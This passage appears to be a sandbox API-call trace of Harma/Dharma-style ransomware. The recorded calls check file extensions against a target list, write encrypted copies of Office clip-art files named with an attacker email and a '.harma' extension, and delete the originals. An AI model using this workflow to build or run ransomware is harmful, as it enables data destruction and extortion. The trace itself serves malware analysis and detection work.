lpString2=".WMF") returned -1 [0167.689] lstrlenW (lpString=".7z") returned 3 [0167.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.689] lstrlenW (lpString=".dbf") returned 4 [0167.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.689] lstrlenW (lpString=".1cd") returned 4 [0167.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.689] lstrlenW (lpString=".jpg") returned 4 [0167.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.689] lstrlenW (lpString=".doc") returned 4 [0167.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.690] lstrlenW (lpString=".docx") returned 5 [0167.690] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.690] lstrlenW (lpString=".pdf") returned 4 [0167.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.690] lstrlenW (lpString=".xls") returned 4 [0167.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.690] lstrlenW (lpString=".xlsx") returned 5 [0167.690] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.690] lstrlenW (lpString=".ppt") returned 4 [0167.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.690] lstrlenW (lpString=".zip") returned 4 [0167.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.690] lstrlenW (lpString=".rar") returned 4 [0167.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.690] lstrlenW (lpString=".bz2") returned 4 [0167.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.690] lstrlenW (lpString=".7z") returned 3 [0167.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.690] lstrlenW (lpString=".dbf") returned 4 [0167.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.690] lstrlenW (lpString=".1cd") returned 4 [0167.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0167.691] lstrlenW (lpString=".jpg") returned 4 [0167.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.691] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.691] lstrlenW (lpString="J0105298.WMF") returned 12 [0167.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0167.739] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=6320) returned 1 [0167.739] CloseHandle (hObject=0x208) returned 1 [0167.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20 [0167.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.746] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.746] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.747] GetLastError () returned 0x0 [0167.747] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x18b0, lpOverlapped=0x0) returned 1 [0167.749] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0167.750] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.751] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.752] SetEndOfFile (hFile=0x39c) returned 1 [0167.752] CloseHandle (hObject=0x39c) returned 1 [0167.752] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.752] SetEndOfFile (hFile=0x3a4) returned 1 [0167.754] CloseHandle (hObject=0x3a4) returned 1 [0167.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.756] lstrlenW (lpString=".doc") returned 4 [0167.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".docx") returned 5 [0167.756] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.756] lstrlenW (lpString=".pdf") returned 4 [0167.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".xls") returned 4 [0167.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.756] lstrlenW (lpString=".xlsx") returned 5 [0167.756] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.756] lstrlenW (lpString=".ppt") returned 4 [0167.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.757] lstrlenW (lpString=".zip") returned 4 [0167.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.757] lstrlenW (lpString=".rar") returned 4 [0167.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString=".bz2") returned 4 [0167.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString=".7z") returned 3 [0167.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.757] lstrlenW (lpString=".dbf") returned 4 [0167.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.757] lstrlenW (lpString=".1cd") returned 4 [0167.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.757] lstrlenW (lpString=".jpg") returned 4 [0167.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.757] lstrlenW (lpString=".doc") returned 4 [0167.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString=".docx") returned 5 [0167.757] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.757] lstrlenW (lpString=".pdf") returned 4 [0167.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.758] lstrlenW (lpString=".xls") returned 4 [0167.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.758] lstrlenW (lpString=".xlsx") returned 5 [0167.758] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.758] lstrlenW (lpString=".ppt") returned 4 [0167.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.758] lstrlenW (lpString=".zip") returned 4 [0167.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.758] lstrlenW (lpString=".rar") returned 4 [0167.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.758] lstrlenW (lpString=".bz2") returned 4 [0167.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.758] lstrlenW (lpString=".7z") returned 3 [0167.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.758] lstrlenW (lpString=".dbf") returned 4 [0167.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.758] lstrlenW (lpString=".1cd") returned 4 [0167.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0167.758] lstrlenW (lpString=".jpg") returned 4 [0167.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.759] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.759] lstrlenW (lpString="J0105328.WMF") returned 12 [0167.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.760] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7992) returned 1 [0167.760] CloseHandle (hObject=0x3a4) returned 1 [0167.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20 [0167.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.761] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.761] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.762] GetLastError () returned 0x0 [0167.762] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1f38, lpOverlapped=0x0) returned 1 [0167.859] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0167.860] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.861] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.861] SetEndOfFile (hFile=0x39c) returned 1 [0167.861] CloseHandle (hObject=0x39c) returned 1 [0167.861] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.861] SetEndOfFile (hFile=0x3a4) returned 1 [0167.863] CloseHandle (hObject=0x3a4) returned 1 [0167.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0167.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.865] lstrlenW (lpString=".doc") returned 4 [0167.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString=".docx") returned 5 [0167.866] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.866] lstrlenW (lpString=".pdf") returned 4 [0167.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString=".xls") returned 4 [0167.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.866] lstrlenW (lpString=".xlsx") returned 5 [0167.866] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.866] lstrlenW (lpString=".ppt") returned 4 [0167.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.866] lstrlenW (lpString=".zip") returned 4 [0167.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.866] lstrlenW (lpString=".rar") returned 4 [0167.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString=".bz2") returned 4 [0167.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString=".7z") returned 3 [0167.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.866] lstrlenW (lpString=".dbf") returned 4 [0167.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.866] lstrlenW (lpString=".1cd") returned 4 [0167.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.866] lstrlenW (lpString=".jpg") returned 4 [0167.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.867] lstrlenW (lpString=".doc") returned 4 [0167.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.867] lstrlenW (lpString=".docx") returned 5 [0167.867] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.867] lstrlenW (lpString=".pdf") returned 4 [0167.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.867] lstrlenW (lpString=".xls") returned 4 [0167.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.867] lstrlenW (lpString=".xlsx") returned 5 [0167.867] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.867] lstrlenW (lpString=".ppt") returned 4 [0167.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.867] lstrlenW (lpString=".zip") returned 4 [0167.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.867] lstrlenW (lpString=".rar") returned 4 [0167.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.867] lstrlenW (lpString=".bz2") returned 4 [0167.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.867] lstrlenW (lpString=".7z") returned 3 [0167.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.867] lstrlenW (lpString=".dbf") returned 4 [0167.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.867] lstrlenW (lpString=".1cd") returned 4 [0167.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0167.867] lstrlenW (lpString=".jpg") returned 4 [0167.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.868] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.868] lstrlenW (lpString="J0105332.WMF") returned 12 [0167.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.869] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=10508) returned 1 [0167.869] CloseHandle (hObject=0x3a4) returned 1 [0167.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20 [0167.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.869] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.870] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.870] GetLastError () returned 0x0 [0167.870] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x290c, lpOverlapped=0x0) returned 1 [0168.000] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2910, lpOverlapped=0x0) returned 1 [0168.000] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.001] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.001] SetEndOfFile (hFile=0x39c) returned 1 [0168.001] CloseHandle (hObject=0x39c) returned 1 [0168.001] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.001] SetEndOfFile (hFile=0x3a4) returned 1 [0168.003] CloseHandle (hObject=0x3a4) returned 1 [0168.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0168.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.004] lstrlenW (lpString=".doc") returned 4 [0168.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.004] lstrlenW (lpString=".docx") returned 5 [0168.004] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.004] lstrlenW (lpString=".pdf") returned 4 [0168.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString=".xls") returned 4 [0168.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.005] lstrlenW (lpString=".xlsx") returned 5 [0168.005] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.005] lstrlenW (lpString=".ppt") returned 4 [0168.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.005] lstrlenW (lpString=".zip") returned 4 [0168.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.005] lstrlenW (lpString=".rar") returned 4 [0168.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString=".bz2") returned 4 [0168.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString=".7z") returned 3 [0168.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.005] lstrlenW (lpString=".dbf") returned 4 [0168.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.005] lstrlenW (lpString=".1cd") returned 4 [0168.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.005] lstrlenW (lpString=".jpg") returned 4 [0168.005] lstrcmpiW 